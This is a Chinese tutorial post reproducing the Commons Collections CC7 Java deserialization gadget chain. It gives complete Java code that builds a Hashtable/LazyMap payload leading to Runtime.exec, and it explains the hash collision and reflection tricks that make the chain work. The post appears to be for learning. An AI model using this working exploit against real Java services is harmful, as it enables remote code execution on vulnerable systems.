java 反序列化 cc7 复现

news/2024/12/26 1:16:16/文章来源:https://www.cnblogs.com/meraklbz/p/18548461

复现环境:common-collections版本<=3.2.1,java版本随意.cc7就是cc6换了一个出口,整体的逻辑没有太大的变化.在Lazymap之前的还那样,我们从如何触发Lazymapget方法开始看起.

AbstractMap

看他的equals方法

public boolean equals(Object o) {  if (o == this)  return true;  if (!(o instanceof Map))  return false;  Map<?,?> m = (Map<?,?>) o;  if (m.size() != size())  return false;  try {  Iterator<Entry<K,V>> i = entrySet().iterator();  while (i.hasNext()) {  Entry<K,V> e = i.next();  K key = e.getKey();  V value = e.getValue();  if (value == null) {  if (!(m.get(key)==null && m.containsKey(key)))  return false;  } else {  if (!value.equals(m.get(key)))  return false;  }  }  } catch (ClassCastException unused) {  return false;  } catch (NullPointerException unused) {  return false;  }  return true;  
}

看到了m.get(key)

AbstractMapDecorator

同样是看他的equals方法

public boolean equals(Object object) {  return object == this ? true : this.map.equals(object);  
}

可以用来触发AbstractMapequals方法.
然而这两个类都是抽象类,不能够被实例化,因此在实例化的时候都是实例化的LazyMap类.

Hashtable

看他的reconstitutionPut方法

private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)  throws StreamCorruptedException  
{  if (value == null) {  throw new java.io.StreamCorruptedException();  }  // Makes sure the key is not already in the hashtable.  // This should not happen in deserialized version.    int hash = key.hashCode();  int index = (hash & 0x7FFFFFFF) % tab.length;  for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {  if ((e.hash == hash) && e.key.equals(key)) {  throw new java.io.StreamCorruptedException();  }  }  // Creates the new entry.  @SuppressWarnings("unchecked")  Entry<K,V> e = (Entry<K,V>)tab[index];  tab[index] = new Entry<>(hash, key, value, e);  count++;  
}

为什么要使用这个方法?因为reconstitutionPut的作用是在对hashTable进行反序列化的时候,对类中的键值对进行恢复.来看readObject方法

private void readObject(java.io.ObjectInputStream s)  throws IOException, ClassNotFoundException  
{  ObjectInputStream.GetField fields = s.readFields();  // Read and validate loadFactor (ignore threshold - it will be re-computed)  float lf = fields.get("loadFactor", 0.75f);  if (lf <= 0 || Float.isNaN(lf))  throw new StreamCorruptedException("Illegal load factor: " + lf);  lf = Math.min(Math.max(0.25f, lf), 4.0f);  // Read the original length of the array and number of elements  int origlength = s.readInt();  int elements = s.readInt();  // Validate # of elements  if (elements < 0)  throw new StreamCorruptedException("Illegal # of Elements: " + elements);  // Clamp original length to be more than elements / loadFactor  // (this is the invariant enforced with auto-growth)    origlength = Math.max(origlength, (int)(elements / lf) + 1);  // Compute new length with a bit of room 5% + 3 to grow but  // no larger than the clamped original length.  Make the length    // odd if it's large enough, this helps distribute the entries.    // Guard against the length ending up zero, that's not valid.    int length = (int)((elements + elements / 20) / lf) + 3;  if (length > elements && (length & 1) == 0)  length--;  length = Math.min(length, origlength);  if (length < 0) { // overflow  length = origlength;  }  // Check Map.Entry[].class since it's the nearest public type to  // what we're actually creating.    SharedSecrets.getJavaOISAccess().checkArray(s, Map.Entry[].class, length);  Hashtable.UnsafeHolder.putLoadFactor(this, lf);  table = new Entry<?,?>[length];  threshold = (int)Math.min(length * lf, MAX_ARRAY_SIZE + 1);  count = 0;  // Read the number of elements and then all the key/value objects  for (; elements > 0; elements--) {  @SuppressWarnings("unchecked")  K key = (K)s.readObject();  @SuppressWarnings("unchecked")  V value = (V)s.readObject();  // sync is eliminated for performance  reconstitutionPut(table, key, value);  }  
}

前面那些都不用看,就看最后调用了reconstitutionPut即可.这条利用链的触发方式比较直观,就是在反序列化时对hashTable中的键值对进行恢复时,出现了比较,因此调用了equals方法.我们写出脚本

package org.example;  import java.io.*;  import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.map.LazyMap;  import java.lang.reflect.*;  
import java.util.HashMap;  
import java.util.Hashtable;  
import java.util.Map;  public class Main {  public static void main(String[] args) throws Exception {  ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);  String MethodName1 = "getMethod";  Class[] ParmaType1 = {String.class, Class[].class};  Object[] Parma1 = {"getRuntime", null};  InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);  String MethodName2 = "invoke";  Class[] ParmaType2 = {Object.class, Object[].class};  Object[] Parma2 = {null, null};  InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);  String MethodName3 = "exec";  Class[] ParmaType3 = {String.class};  Object[] Parma3 = {"calc"};  InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);  Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};  ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});  Map lazymap1 = LazyMap.decorate(new HashMap(), chainedTransformer);  Map lazymap2 = LazyMap.decorate(new HashMap(), chainedTransformer);  lazymap1.put("yy", 1);  lazymap2.put("zZ",1);  Hashtable hashtable = new Hashtable<>();  hashtable.put(lazymap1, 1);  hashtable.put(lazymap2, 2);  Class clazz = chainedTransformer.getClass();  Field field = clazz.getDeclaredField("iTransformers");  field.setAccessible(true);  field.set(chainedTransformer, transformers);  serial(hashtable);  unserial();  }  public static void serial(Object obj) throws Exception {  ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  out.writeObject(obj);  }  public static void unserial() throws Exception {  ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  in.readObject();  }  
}

首先解释一下为什么给LazyMap插入的值必须是yy和zZ.
reconstitutionPut方法中执行equals的条件为

 int hash = key.hashCode();  int index = (hash & 0x7FFFFFFF) % tab.length;  for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {  if ((e.hash == hash) && e.key.equals(key)) {  throw new java.io.StreamCorruptedException();  }  }  

必须要满足e.hash == hash才可以,而这两个哈希是由两个键的值生成的,因此这两个键必须存在哈希碰撞.
再解释一下ChainedTransformers中的iTransformers为什么要通过反射去进行修改.这个比较类似于cc6那里的问题.

public synchronized V put(K key, V value) {  // Make sure the value is not null  if (value == null) {  throw new NullPointerException();  }  // Makes sure the key is not already in the hashtable.  Entry<?,?> tab[] = table;  int hash = key.hashCode();  int index = (hash & 0x7FFFFFFF) % tab.length;  @SuppressWarnings("unchecked")  Entry<K,V> entry = (Entry<K,V>)tab[index];  for(; entry != null ; entry = entry.next) {  if ((entry.hash == hash) && entry.key.equals(key)) {  V old = entry.value;  entry.value = value;  return old;  }  }  addEntry(hash, key, value, index);  return null;  
}

我们可以看到在使用hashTable进行插值的时候里面存在这样一句int hash = key.hashCode();,就是问题所在.此时的key实际是一个LazyMap的实例,那么插值的时候就会触发LazyMap里的HashMaphashCode方法,沿着cc6的那条链子一路触发下去,从而调用get方法提前执行命令.因此需要通过反射去进行修改.
然而我们运行程序,发现并没有像预期的那样弹出计算器,研究发现问题出在这里.
image

这个问题和cc6出现的那个也比较的类似,在hashTable进行插值的时候,如果之前里面有东西,会去进行一次比较来决定顺序,从而触发get方法.在序列化的时候,这里正确触发了transform方法,但是给LazyMap2插入了一个yy.
image

那么在反序列化的时候,就不能正确的触发transform方法,而是直接去执行else分支,链子断了.因此应该在最后溢出lazyMap2的yy.
最终脚本如下:

package org.example;  import java.io.*;  import org.apache.commons.collections.Transformer;  
import org.apache.commons.collections.functors.ConstantTransformer;  
import org.apache.commons.collections.functors.InvokerTransformer;  
import org.apache.commons.collections.functors.ChainedTransformer;  
import org.apache.commons.collections.map.LazyMap;  import java.lang.reflect.*;  
import java.util.HashMap;  
import java.util.Hashtable;  
import java.util.Map;  public class Main {  public static void main(String[] args) throws Exception {  ConstantTransformer constantTransformer = new ConstantTransformer(Runtime.class);  String MethodName1 = "getMethod";  Class[] ParmaType1 = {String.class, Class[].class};  Object[] Parma1 = {"getRuntime", null};  InvokerTransformer it1 = new InvokerTransformer(MethodName1, ParmaType1, Parma1);  String MethodName2 = "invoke";  Class[] ParmaType2 = {Object.class, Object[].class};  Object[] Parma2 = {null, null};  InvokerTransformer it2 = new InvokerTransformer(MethodName2, ParmaType2, Parma2);  String MethodName3 = "exec";  Class[] ParmaType3 = {String.class};  Object[] Parma3 = {"calc"};  InvokerTransformer it3 = new InvokerTransformer(MethodName3, ParmaType3, Parma3);  Transformer transformers[] = new Transformer[]{constantTransformer, it1, it2, it3};  ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});  Map lazymap1 = LazyMap.decorate(new HashMap(), chainedTransformer);  Map lazymap2 = LazyMap.decorate(new HashMap(), chainedTransformer);  lazymap1.put("yy", 1);  lazymap2.put("zZ",1);  Hashtable hashtable = new Hashtable<>();  hashtable.put(lazymap1, 1);  hashtable.put(lazymap2, 2);  Class clazz = chainedTransformer.getClass();  Field field = clazz.getDeclaredField("iTransformers");  field.setAccessible(true);  field.set(chainedTransformer, transformers);  lazymap2.remove("yy");  serial(hashtable);  unserial();  }  public static void serial(Object obj) throws Exception {  ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("./cc1.bin"));  out.writeObject(obj);  }  public static void unserial() throws Exception {  ObjectInputStream in = new ObjectInputStream(new FileInputStream("./cc1.bin"));  in.readObject();  }  
}

归纳得出反序列化的链子如下

Gadget chain:
ObjectInputStream.readObject()HashTable.readObject()HashTable.reconstitutionPut()AbstractMapDecorator.equals()AbstractMap.equals()LazyMap.get()ChainedTransformer.transform()ConstantTransformer.transform()InvokerTransformer.transform()Method.invoke()Class.getMethod()InvokerTransformer.transform()Method.invoke()Runtime.getRuntime()InvokerTransformer.transform()Method.invoke()Runtime.exec()

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/834162.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

告别Print,使用IceCream进行高效的Python调试

在Python开发实践中,调试是一个不可或缺的环节。如果采用print()语句来追踪程序执行流程,可能会遇到一个持续出现的异常情况,并且经过多次代码审查问题的根源仍然难以确定,这可能是因为随着终端输出信息的不断增加,这种调试方式的局限性逐渐显现。本文将介绍IceCream库,这…

浏览器

控制台 查看继承的样式 Inherited(继承) from xxx: 继承样式来自于xxx <!DOCTYPE html> <html lang="zh-CN"><head><meta charset="UTF-8"><title>Document</title><style>.font {font-size: 12px;}.font2 {fon…

团队项目Scrum冲刺-day5

一、每天举行站立式会议 站立式会议照片一张昨天已完成的工作成员 任务陈国金 判题机架构设计凌枫 整合代码编辑器陈卓恒 更新题目界面部分完成谭立业 浏览题目页面部分完成廖俊龙 接口测试曾平凡 前端页面测试曾俊涛 判题服务薛秋昊 判题服务今天计划完成的工作成员 任务陈国金…

js原型链污染

js原型链污染 原理介绍 对于语句:object[a][b] = value 如果可以控制a、b、value的值,将a设置为__proto__,我们就可以给object对象的原型设置一个b属性,值为value。这样所有继承object对象原型的实例对象在本身不拥有b属性的情况下,都会拥有b属性,且值为value。 可以通过…

基于米尔NXP i.MX93开发板OpenCV的相机捕捉视频进行人脸检测

本篇测评由优秀测评者“eefocus_3914144”提供。 本文将介绍基于米尔电子MYD-LMX93开发板(米尔基于NXP i.MX93开发板)的基于OpenCV的人脸检测方案测试。 OpenCV提供了一个非常简单的接口,用于相机捕捉一个视频(我用的电脑内置摄像头)1、安装python3-opencvapt install pyth…

hbase-2.2.7分布式搭建文档(附详细操作步骤命令及相关操作截图)

hbase-2.2.7分布式搭建文档 一,搭建前准备 1.检查是否已经安装JDK 2.搭建hbase前需要先搭建好hadoop 3.检查zookeeper是否正常启动 #启动zookeeper(三台都要启动) zkServer.sh start#查看zookeeper状态(一个leader两个follower) zkServer.sh status4.到官网或国内镜像站下载hb…

自动化构建镜像:Packer

在介绍Packer之前,先来回顾一下未使用Packer时自定义虚拟机镜像的步骤。先在本地启动一个虚拟机,从安装系统开始,再进行自定义配置或应用安装,最后封装压缩成镜像,详细操作步骤可以参考我之前写的文档,制作Centos 7镜像:https://robin-2016.github.io/2019/04/08/制作op…

牛逼!字节 IDE 来了!!

前言 大家好,我是R哥。 最近做面试辅导,很多同学和我抱怨说,去 XX 公司面试,刚进公司,面试官还没有见着呢,就让我先手撕两道算法题,做不出来的话直接 GG。 没错,如果你想拿一份还不错的收入,想去中大厂,特别是字节、阿里、腾讯这些一线大厂,面试前都会有一次算法笔试…

虚拟串口工具和串口调试工具详解 - 附下载地址

简介 串口开发过程中, 一般需要以下工具用于开发和调试:虚拟串口工具简介 虚拟串口软件, 可以在系统中虚拟出串口, 这样开发人员可以在没有物理串口设备的情况下进行开发. 串口调试工具简介 串口调试工具主要用于给串口发送信息, 测试串口是否连通, 发送消息是否正常被接收等.本…

怎么用云游戏玩Steam?ToDesk云电脑新手入门教程

对于新手玩家来说,想要上手Steam游戏,这门槛真有点高。不说要从众多真假难辨的软件中找出正版,遇到Steam内想玩的游戏还得等着下载安装解压,费时又费力。玩家想解决这个困难也很简单,只需下个ToDesk云游戏即可。它是ToDesk云电脑中专门玩游戏的版块,预安装了上百款热门游…

Vuex与Redux比较

由于Vuex和Redux都是从Flux中衍生出来,同时Vuex对Redux部分思想也有一些借鉴,所以Vuex和Redux有很多相同点。很多资料也有介绍两者的对比,但大部分讲解的比较抽象,较难理解。笔者整理两者异同点,同时配有标准案例进行说明。注意本文不是科普vuex和redux相关概念,相关知识…

第6篇 Scrum 冲刺博客

作业要求这个作业属于哪个课程 计科34班这个作业的要求在哪里 团队作业4——项目冲刺这个作业的目标 1.站立式会议2.发布项目燃尽图3.每人的代码/文档签入记录4.适当的项目程序/模块的最新(运行)截图5.每日每人总结会议照片昨日已完成的工作/今天计划完成的工作成员 昨天已完…